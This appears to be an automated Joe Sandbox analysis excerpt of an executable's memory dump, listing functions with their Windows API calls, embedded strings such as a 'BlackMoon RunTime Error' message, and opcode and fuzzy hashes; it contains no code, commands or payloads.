Instruction Fuzzy Hash: 04B16B31610604DFD714CF28C486B557BA0FF453A6F258699EC9ACF3A2C739EA86CB44

Function 004175A4 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc60ecf50bd115ca0c6ea2745a91e2bccda0b72c85d336beea95e2ba67d1c3a9
Instruction ID: 38f7e684f1196bd96dd45410193c7e0e87e5e9a6f37253b55d90f6458e3e8afc
Opcode Fuzzy Hash: fc60ecf50bd115ca0c6ea2745a91e2bccda0b72c85d336beea95e2ba67d1c3a9
Instruction Fuzzy Hash: 82B16D3590460ADFDB15CF04C5D0AE9BBB1BB58318F24C19ED81A5B382D735EE82CB94

Function 0044A250 Relevance: .1, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac04dbea8ff27b52685c84f2bc974d7f07cda6de4a98d581155e5717e2948aa7
Instruction ID: bd308f9c47438f253a811dd83cf79b9914c9e686ca09f497b1654824909d82de
Opcode Fuzzy Hash: ac04dbea8ff27b52685c84f2bc974d7f07cda6de4a98d581155e5717e2948aa7
Instruction Fuzzy Hash: F1516DB1A406258BFB25CF58C8C97AEB7F0FB48310F24852AD805EB354D778E960CB91

Function 0044CB37 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d52fb2acaea47cc711755e886856fc2c512988177476dc3ebe6c672e5574d84
Instruction ID: 4826ae41c541f8236bbc0b1bf71b12b5fd2407d6afe7ce81fd33ccc9166d745b
Opcode Fuzzy Hash: 8d52fb2acaea47cc711755e886856fc2c512988177476dc3ebe6c672e5574d84
Instruction Fuzzy Hash: E4E08C32A12268EBCB14DB8AD98598AF3ECEB44F44B19009BF501D3200C278EE00C7D8

Function 0044B91C Relevance: .0, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3aeb5778afd3441c3db0d6b1b64bb14dbf08fcbc3ffc9a4ce5847d62598719d
Instruction ID: 9c08513d1431b0271de96276af4686c575f147ed274c7da6ab9f6897af30802e
Opcode Fuzzy Hash: e3aeb5778afd3441c3db0d6b1b64bb14dbf08fcbc3ffc9a4ce5847d62598719d
Instruction Fuzzy Hash: D9E08C3100025CEFEF116F55CD8ED093F69EB45391F00441AFA0586231CB39EC42CB94

Function 00410530 Relevance: 31.9, APIs: 15, Strings: 3, Instructions: 426windowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,004692B8,00000104), ref: 004105AE
__ftol.LIBCMT ref: 004106FE
GetCommandLineA.KERNEL32 ref: 00410724
PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 00410791
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004107C3
TranslateMessage.USER32(?), ref: 004107CA
DispatchMessageA.USER32(?), ref: 004107D1
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 004107E0
wsprintfA.USER32 ref: 00410A23
MessageBoxA.USER32(00000000,?,blackmoon,00000010), ref: 00410A3A

Strings

blackmoon, xrefs: 00410A32
ERROR, xrefs: 004109C0
BlackMoon RunTime Error:%s, xrefs: 004109A8

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Message$Peek$CommandDispatchFileLineModuleNameTranslate__ftolwsprintf
String ID: BlackMoon RunTime Error:%s$ERROR$blackmoon
API String ID: 2186951270-532175377
Opcode ID: faab96b0b096b8e5b06dd57c1d9f97e74745e4d958af81cb79b4a8dd3d0a2747
Instruction ID: 346e99c3b5c0bd452752174839c1e99cdb4754e20edaa1619a8306c6e484df41
Opcode Fuzzy Hash: faab96b0b096b8e5b06dd57c1d9f97e74745e4d958af81cb79b4a8dd3d0a2747
Instruction Fuzzy Hash: 3BC14B3778060456E330D628FC41BFF7784DBD0362F54453BEA09C62D0D9BF99998AAA

Function 0041D79A Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 170stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00421084: TlsGetValue.KERNEL32(?,?,00000000,004214C2,00420A85,004214DE,0041BFE8,0041FB02,?,00000000,?,0041B9DD,00000000,00000000,00000000,00000000), ref: 004210C3

CallNextHookEx.USER32(?,00000003,?,?), ref: 0041D7C4
GetClassLongA.USER32(?,000000E6), ref: 0041D80B
GlobalGetAtomNameA.KERNEL32(?,?,00000005), ref: 0041D837
lstrcmpiA.KERNEL32(?,ime), ref: 0041D846
GetWindowLongA.USER32(?,000000FC), ref: 0041D8B9
SetWindowLongA.USER32(?,000000FC,00000000), ref: 0041D8DA

Strings

AfxOldWndProc423, xrefs: 0041D91B, 0041D920, 0041D92B, 0041D933, 0041D93C
ime, xrefs: 0041D840

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Long$Window$AtomCallClassGlobalHookNameNextValuelstrcmpi
String ID: AfxOldWndProc423$ime
API String ID: 3731301195-104836986
Opcode ID: efbcbafecb5b4fc79a8c2c294c37d1f937c4ff325c1eb5465f73340bf19d3276
Instruction ID: 20ecebc51f7d6658ee4176a0568bce904c986bdf07ac30d9980948133ca5b843
Opcode Fuzzy Hash: efbcbafecb5b4fc79a8c2c294c37d1f937c4ff325c1eb5465f73340bf19d3276
Instruction Fuzzy Hash: 2A51C4B1A00225AFCB21AF64DC48BAB7B79FF04765F104566F815A7290D738DA81CB9C

Function 004123B0 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(USER32,?,?,?,004124E9), ref: 004123D2
GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 004123EA
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 004123FB
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 0041240C
GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 0041241D
GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 0041242E
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0041243F

Strings

GetSystemMetrics, xrefs: 004123E4
MonitorFromWindow, xrefs: 004123F5
USER32, xrefs: 004123CD
MonitorFromPoint, xrefs: 00412417
MonitorFromRect, xrefs: 00412406
EnumDisplayMonitors, xrefs: 00412428
GetMonitorInfoA, xrefs: 00412439

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32
API String ID: 667068680-2376520503
Opcode ID: 0a8d00ab7fb8e2cea68df05700b450d3c76f15ec872823016c29dba7c3c23438
Instruction ID: 8fa4047bf32942f581cc60f2770926b83d9043b8a7bacf10b18faa6dbcf411cf
Opcode Fuzzy Hash: 0a8d00ab7fb8e2cea68df05700b450d3c76f15ec872823016c29dba7c3c23438
Instruction Fuzzy Hash: 7A115170F202529A83158F657DC196AFBB4FA48705361487FE118E6262CBBC84D79B6C

Function 004095F7 Relevance: 21.4, APIs: 9, Strings: 3, Instructions: 396servicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 00409662
OpenServiceA.ADVAPI32(00000000,00000000,00000001), ref: 004096A5
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 004096EC
GlobalAlloc.KERNEL32(00000040,00000000), ref: 0040971D
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 00409756
RtlMoveMemory.NTDLL(?,00000000,00000024), ref: 00409797
GlobalFree.KERNEL32(00000000), ref: 00409A46
CloseServiceHandle.ADVAPI32(00000000), ref: 00409A72
CloseServiceHandle.ADVAPI32(00000000), ref: 00409A9E

Strings

Networkservice, xrefs: 004098E6
localsystem, xrefs: 0040998F
localservice, xrefs: 0040983D

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Service$CloseConfigGlobalHandleOpenQuery$AllocFreeManagerMemoryMove
String ID: Networkservice$localservice$localsystem
API String ID: 4257998133-3593476076
Opcode ID: db090e150a72df04c3a78c20aad4925aae9bcd736f121b689e2d5f79c62f8476
Instruction ID: 071e5d80f159fe07ec44be4f6b73664ff805e7c5250b0eec1e08617551acf9a2
Opcode Fuzzy Hash: db090e150a72df04c3a78c20aad4925aae9bcd736f121b689e2d5f79c62f8476
Instruction Fuzzy Hash: BFD12AB1F40304ABEB10DFA59C46F9E76B4AB08714F14443AFB05BA2C2E7799D148B6D

Function 0041F0BF Relevance: 19.7, APIs: 13, Instructions: 174windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0041CEC2: GetWindowLongA.USER32(?,000000F0), ref: 0041CECE

GetParent.USER32(?), ref: 0041F0EA
SendMessageA.USER32(00000000,0000036B,00000000,00000000), ref: 0041F10D
GetWindowRect.USER32(?,?), ref: 0041F126
GetWindowLongA.USER32(00000000,000000F0), ref: 0041F139
CopyRect.USER32(?,?), ref: 0041F186
CopyRect.USER32(?,?), ref: 0041F190
GetWindowRect.USER32(00000000,?), ref: 0041F199
CopyRect.USER32(?,?), ref: 0041F1B5

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Rect$Window$Copy$Long$MessageParentSend
String ID:
API String ID: 808654186-0
Opcode ID: aa400fc193212e6bf0d2daeb684a065d5daccb5994d3ca56a7b3f451808c285f
Instruction ID: 1e0e36b6c11987eb4cf5bf7c466fd8f15c7c1e00c6bacf72ad78a07a79bbf1a8
Opcode Fuzzy Hash: aa400fc193212e6bf0d2daeb684a065d5daccb5994d3ca56a7b3f451808c285f
Instruction Fuzzy Hash: 66519871A00219ABCB10DFB8DC85EEEBBB9AF44314F154166F901F3291DB78ED468B58

Function 0040793D Relevance: 16.7, APIs: 11, Instructions: 249memoryserviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 00407995
OpenServiceA.ADVAPI32(00000000,00000000,00000001), ref: 004079D8
QueryServiceConfig2A.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00407A24
GetProcessHeap.KERNEL32 ref: 00407A4D
RtlAllocateHeap.NTDLL(?,00000008,00000000), ref: 00407A84
QueryServiceConfig2A.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00407AC2
RtlMoveMemory.NTDLL(?,00000000,00000004), ref: 00407AFE
CloseServiceHandle.ADVAPI32(00000000), ref: 00407B63
GetProcessHeap.KERNEL32 ref: 00407B8C
HeapFree.KERNEL32(?,00000001,00000000), ref: 00407BC3
CloseServiceHandle.ADVAPI32(00000000), ref: 00407BEF

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Service$Heap$CloseConfig2HandleOpenProcessQuery$AllocateFreeManagerMemoryMove
String ID:
API String ID: 3182464479-0
Opcode ID: 46ab3b74a8137efe55efeb2372e156a728e977ac658301ec20f52be86518a58e
Instruction ID: 24c17f2dde68728bded2b0e846e26bd35ec181ea0a7f3d85b06bfd782ad9c22b
Opcode Fuzzy Hash: 46ab3b74a8137efe55efeb2372e156a728e977ac658301ec20f52be86518a58e
Instruction Fuzzy Hash: 58818571E44304ABDF109FA19C87BAEBB74AF09705F144436F604BA2C1E7796610CF9A

Function 00414D72 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00412938), ref: 00414D8D
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00412938), ref: 00414DA1
GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00412938), ref: 00414DCD
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00412938), ref: 00414E05
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00412938), ref: 00414E27
FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,?,?,?,?,00412938), ref: 00414E40
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00412938), ref: 00414E53
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00414E91

Strings

8)A, xrefs: 00414E3B, 00414E2D

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID: 8)A
API String ID: 1823725401-2426700759
Opcode ID: a0e13bbe31223261e14630796838403f7bbbd16c8a534f34c03439c481d6ff24
Instruction ID: dd80e975b2dc79d2369dad330e58e1b2afc937f6bc7cb37e9f5c19b97451a2d1
Opcode Fuzzy Hash: a0e13bbe31223261e14630796838403f7bbbd16c8a534f34c03439c481d6ff24
Instruction Fuzzy Hash: D73108B26083256FDB313FB4AC848FBB69CFAC5354B15097BF546C3240D6298CC282AD

Function 0041D5BF Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041D5C4
GetPropA.USER32(?,AfxOldWndProc423), ref: 0041D5DC
CallWindowProcA.USER32(?,?,00000110,?,00000000), ref: 0041D63A

Part of subcall function 0041D1A7: GetWindowRect.USER32(?,0041D39F), ref: 0041D1CC
Part of subcall function 0041D1A7: GetWindow.USER32(?,00000004), ref: 0041D1E9

SetWindowLongA.USER32(?,000000FC,?), ref: 0041D66A
RemovePropA.USER32(?,AfxOldWndProc423), ref: 0041D672
GlobalFindAtomA.KERNEL32(AfxOldWndProc423), ref: 0041D679
GlobalDeleteAtom.KERNEL32(00000000), ref: 0041D680

Part of subcall function 0041D184: GetWindowRect.USER32(?,?), ref: 0041D190

CallWindowProcA.USER32(?,?,?,?,00000000), ref: 0041D6D4

Strings

AfxOldWndProc423, xrefs: 0041D5D2, 0041D5DA, 0041D670, 0041D678

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Window$AtomCallGlobalProcPropRect$DeleteFindH_prologLongRemove
String ID: AfxOldWndProc423
API String ID: 2397448395-1060338832
Opcode ID: 53be9b257be6924e558e5ca18e4473a42d765ca8f5f0b21a3f7614bb4fadf325
Instruction ID: 2c181d3ccf1a3b8f1db6fa4a8e08fa5871eab4491185da24f65b79682053136f
Opcode Fuzzy Hash: 53be9b257be6924e558e5ca18e4473a42d765ca8f5f0b21a3f7614bb4fadf325
Instruction Fuzzy Hash: A0317CB2D0011ABBCB11AFA5DD49DFF7B78EF05311F00412AF505A2160CB7D9A91DB69

Function 00410AC0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 113librarywindowloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 00410AD2
LoadLibraryA.KERNEL32(?), ref: 00410ADF
wsprintfA.USER32 ref: 00410AF6
MessageBoxA.USER32(00000000,?,DLL ERROR,00000010), ref: 00410B0C

Part of subcall function 0040E590: ExitProcess.KERNEL32 ref: 0040E5A5

GetProcAddress.KERNEL32(00000000,00000040), ref: 00410BA1
wsprintfA.USER32 ref: 00410BB9
MessageBoxA.USER32(00000000,?,DLL ERROR,00000010), ref: 00410BCF

Strings

DLL ERROR, xrefs: 00410B05, 00410BC8

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Messagewsprintf$AddressExitHandleLibraryLoadModuleProcProcess
String ID: DLL ERROR
API String ID: 1172160414-4092134112
Opcode ID: fe4b7d7f8586d276456b8576a9489aeccd6d585a6781ca631d4cbbd293f92867
Instruction ID: 44f1c17df7eb2c9d3af02840b4f404851e23bd8a533af1617fcee82ce3a6e971
Opcode Fuzzy Hash: fe4b7d7f8586d276456b8576a9489aeccd6d585a6781ca631d4cbbd293f92867
Instruction Fuzzy Hash: F93139B26043016BC3209F64EC45BEB77A8AB84715F00493EFA0593241E7B9E959C7AE

Function 00415419 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000), ref: 00415486
GetStdHandle.KERNEL32(000000F4,00424660,00000000,00000000,00000000,00000000), ref: 0041555C
WriteFile.KERNEL32(00000000), ref: 00415563

Strings

Runtime Error!Program: , xrefs: 004154EC
XGB, xrefs: 00415434
Microsoft Visual C++ Runtime Library, xrefs: 00415532
..., xrefs: 004154D8
<program name unknown>, xrefs: 00415496

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $XGB
API String ID: 3784150691-2486071290
Opcode ID: 88bf1dbc5051aba99184669af49a8558fd5ef88fc4716eae55c164c3f5486ebb
Instruction ID: 558a60b5a8263cabe3b02d43c9ce976666dee4192a8a790b902a30b417f4ea35
Opcode Fuzzy Hash: 88bf1dbc5051aba99184669af49a8558fd5ef88fc4716eae55c164c3f5486ebb
Instruction Fuzzy Hash: CB31C672A00218AFDF20DA60DC45FEA777DEF86344F54006BF545D6150EA7CDAC18A1E

Function 00419450 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,00000000,0041553D,?,Microsoft Visual C++ Runtime Library,00012010,?,00424660,?,004246B0,?,?,?,Runtime Error!Program: ), ref: 00419462
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0041947A
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0041948B
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 00419498

Strings

user32.dll, xrefs: 0041945D
GetActiveWindow, xrefs: 00419485
GetLastActivePopup, xrefs: 0041948D
MessageBoxA, xrefs: 00419474

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
